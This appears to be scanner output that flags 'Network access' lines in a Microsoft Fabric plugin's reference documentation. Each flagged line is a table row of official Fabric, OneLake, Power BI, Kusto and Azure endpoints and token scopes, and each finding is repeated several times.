    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CORE.md

  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 72
